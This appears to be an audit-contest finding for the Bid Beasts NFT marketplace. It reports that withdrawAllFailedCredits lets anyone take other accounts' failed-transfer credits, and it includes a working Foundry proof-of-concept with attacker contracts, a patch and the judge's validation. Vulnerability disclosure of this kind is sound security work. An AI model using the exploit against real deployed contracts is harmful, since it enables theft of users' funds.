Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Broken Withdraw Logic Allows anyone to withdraw funds from the protocol, whether they have used the protocol or not.

Root + Impact

Broken Withdraw Logic Allows anyone to withdraw funds from the protocol, whether they have used the protocol or not.

Description

In withdrawAllFailedCredits there is lack of proper check to restrict who can withdraw failed credits from the protocol. The function allows anybody to withraw funds from the protocol, by specifying an address from the failedTransferCredits mappings

https://github.com/CodeHawks-Contests/2025-09-bid-beasts/blob/449341c55a57d3f078d1250051a7b34625d3aa04/src/BidBeastsNFTMarketPlace.sol#L238

Risk

Likelihood:

  • Reason 1 : High, there's is not restriction whatsoever to prevent anyone from withdrawing other's failed credits

Impact:

  • Anybody can steal from the protocol without even participating in an auction.

Proof of Concept

  • This sets up accounts that failed on eth transfer to add them to the failedTransferCredits mappings and shows a random user withdrawing funds from the protocol
    Place the following code in BidBeastsNFTMarketTest.t.sol

function testAnyoneCanWithdrawFailedCredits() public warmMarket {
address griefOwner = makeAddr("griefOwner");
vm.deal(griefOwner, 2 ether);
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 0.1 ether}(TOKEN_ID);
vm.startPrank(griefOwner);
GriefBidder grief = new GriefBidder{value: 2 ether}(address(market));
grief.buyNftNow(TOKEN_ID);
vm.stopPrank();
vm.startPrank(BIDDER_2);
Bidder bidder = new Bidder{value: 4 ether}(address(market));
bidder.buy(TOKEN_ID);
vm.stopPrank();
vm.prank(BIDDER_1);
market.placeBid{value: market.getListing(TOKEN_ID).buyNowPrice}(TOKEN_ID);
address randomFreeLoader = makeAddr("randomFreeLoader");
uint256 freeLoaderBalanceBefore = randomFreeLoader.balance;
vm.startPrank(randomFreeLoader);
market.withdrawAllFailedCredits(address(bidder));
market.withdrawAllFailedCredits(address(grief));
vm.stopPrank();
assertEq(freeLoaderBalanceBefore, 0);
assertEq(randomFreeLoader.balance, 6 ether);
}
contract GriefBidder {
BidBeastsNFTMarket market;
constructor(address _market) payable {
market = BidBeastsNFTMarket(_market);
}
function buyNftNow(uint256 tokenId) public {
market.placeBid{value: 2 ether}(tokenId);
}
function pwn(address _address) public {
market.withdrawAllFailedCredits(_address);
}
receive() external payable {
if (msg.value <= 2 ether) {
revert();
}
}
}
contract Bidder {
BidBeastsNFTMarket market;
constructor(address _market) payable {
market = BidBeastsNFTMarket(_market);
}
function buy(uint256 tokenId) public {
market.placeBid{value: 4 ether}(tokenId);
}
}

Recommended Mitigation

Refactor withdrawAllFailedCredits to reflect these changes:

function withdrawAllFailedCredits(address _receiver) external {
+ require(failedTransferCredits[msg.sender] != 0 , "You can't withdraw");
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!